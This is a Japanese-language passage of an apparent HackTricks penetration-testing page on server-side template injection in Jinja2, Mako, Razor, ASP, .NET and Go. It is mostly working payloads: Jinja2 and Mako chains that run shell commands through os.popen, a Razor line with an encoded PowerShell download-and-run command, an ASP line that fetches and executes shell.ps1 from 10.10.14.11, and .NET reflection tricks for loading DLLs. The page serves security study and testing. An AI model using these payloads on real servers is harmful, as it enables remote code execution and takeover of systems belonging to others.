





{{os.system('whoami')}}
{{os.system('whoami')}}

詳现情報

Jinja2 (Python)

公匏サむト

Jinja2 は Python 向けの機胜豊富なテンプレヌト゚ンゞンです。完党な Unicode サポヌトを持ち、任意で統合されたサンドボックス実行環境があり、広く䜿われおおり BSD ラむセンスです。

  • {{7*7}} = Error
  • ${7*7} = ${7*7}
  • {{foobar}} Nothing
  • {{4*4}}[[5*5]]
  • {{7*'7'}} = 7777777
  • {{config}}
  • {{config.items()}}
  • {{settings.SECRET_KEY}}
  • {{settings}}
  • <div data-gb-custom-block data-tag="debug"></div>
{% raw %}
{% debug %}
{% endraw %}







{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777

Jinja2 - テンプレヌト圢匏

{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}


RCE not dependant from __builtins__:

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}

# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

Jinjaを悪甚する方法の詳现:

Jinja2 SSTI

その他のpayloadsは https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2

Mako (Python)

<%
import os
x=os.popen('id').read()
%>
${x}

詳现情報

その他の Python

https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg

Razor (.Net)

  • @(2+2) <= Success
  • @() <= Success
  • @("{{code}}") <= Success
  • @ <=Success
  • @{} <= ERROR!
  • @{ <= ERRROR!
  • @(1+2)
  • @( //C#Code )
  • @System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
  • @System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");

.NET の System.Diagnostics.Process.Start メ゜ッドは、サヌバ䞊で任意のプロセスを起動するために䜿甚でき、その結果 webshell を䜜成できたす。脆匱な webapp の䟋は https://github.com/cnotin/RazorVulnerableApp にありたす。

詳现情報

ASP

  • <%= 7*7 %> = 49
  • <%= "foo" %> = foo
  • <%= foo %> = 䜕も衚瀺されない
  • <%= response.write(date()) %> = <日付>
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>

詳现情報

.Net 制限の回避

.NET Reflection mechanisms は blacklisting の回避や assembly にクラスが存圚しない堎合を回避するために利甚できたす。DLL’s は runtime にロヌドでき、basic objects から methods や properties にアクセス可胜です。

Dll’s は次のようにロヌドできたす:

  • {"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?"))} - from filesystem.
  • {"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("Load", [typeof(byte[])]).Invoke(null, [Convert.FromBase64String("Base64EncodedDll")])} - directly from request.

完党なコマンド実行:

{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?")).GetType("System.Diagnostics.Process").GetMethods().GetValue(0).Invoke(null, "/bin/bash,-c ""whoami""".Split(","))}

詳现情報

Mojolicious (Perl)

perlであっおも、RubyのERBのようなタグを䜿甚したす。

  • <%= 7*7 %> = 49
  • <%= foobar %> = Error
<%= perl code %>
<% perl code %>

SSTI in GO

Goのtemplate゚ンゞンでは、その䜿甚を確認するために以䞋のような特定のペむロヌドを䜿甚できたす:

  • {{ . }}: デヌタ構造の入力を衚瀺したす。䟋えば、Password 属性を持぀オブゞェクトが枡された堎合、{{ .Password }} がそれを露呈する可胜性がありたす。
  • {{printf "%s" "ssti" }}: 文字列 “ssti” が衚瀺されるはずです。
  • {{html "ssti"}}, {{js "ssti"}}: これらのペむロヌドは、“html” や “js” を远加せずに “ssti” を返すはずです。远加のディレクティブは Go のドキュメントで確認できたす here.

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg

XSS Exploitation

text/template パッケヌゞでは、ペむロヌドを盎接挿入するこずで XSS が比范的容易に発生したす。察照的に html/template パッケヌゞはこれを防ぐためにレスポンスを゚ンコヌドしたす䟋{{"<script>alert(1)</script>"}} は &lt;script&gt;alert(1)&lt;/script&gt; になりたす。それでも、Goでのテンプレヌト定矩ず呌び出しはこの゚ンコヌディングを回避できたす {{define “T1”}}alert(1){{end}} {{template “T1”}}

vbnet Copy code

RCE Exploitation

html/template ず text/template では RCE の可胜性が倧きく異なりたす。text/template モゞュヌルでは“call” 倀を䜿っお任意の公開関数を盎接呌び出すこずが可胜ですが、html/template では蚱可されおいたせん。これらのモゞュヌルのドキュメントは here for html/template ず here for text/template にありたす。

Go における SSTI を介した RCE では、オブゞェクトのメ゜ッドを呌び出せたす。䟋えば、枡されるオブゞェクトにコマンドを実行する System メ゜ッドがあれば、{{ .System "ls" }} のように悪甚できたす。通垞はこれを悪甚するために゜ヌスコヌドぞのアクセスが必芁です。䟋のように:

func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}

詳现情報

LESS (CSS Preprocessor)

LESS は倉数、mixins、functions、そしお匷力な @import ディレクティブを远加する人気のある CSS プリプロセッサです。コンパむル䞭に LESS ゚ンゞンは @import ステヌトメントで参照されたリ゜ヌスを取埗し、(inline) オプションが䜿甚されおいる堎合はその内容を生成される CSS に埋め蟌み“inline”たす。

{{#ref}} ../xs-search/css-injection/less-code-injection.md {{/ref}}

その他のExploits

より倚くの゚クスプロむトに぀いおは、https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection を確認しおください。たた、興味深いタグ情報は https://github.com/DiogoMRSilva/websitesVulnerableToSSTI で芋぀けるこずができたす。

BlackHat PDF

関連情報

参考になる堎合は、以䞋を参照しおください

ツヌル

Brute-Force 怜出リスト

Auto_Wordlists/wordlists/ssti.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

参考文献

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする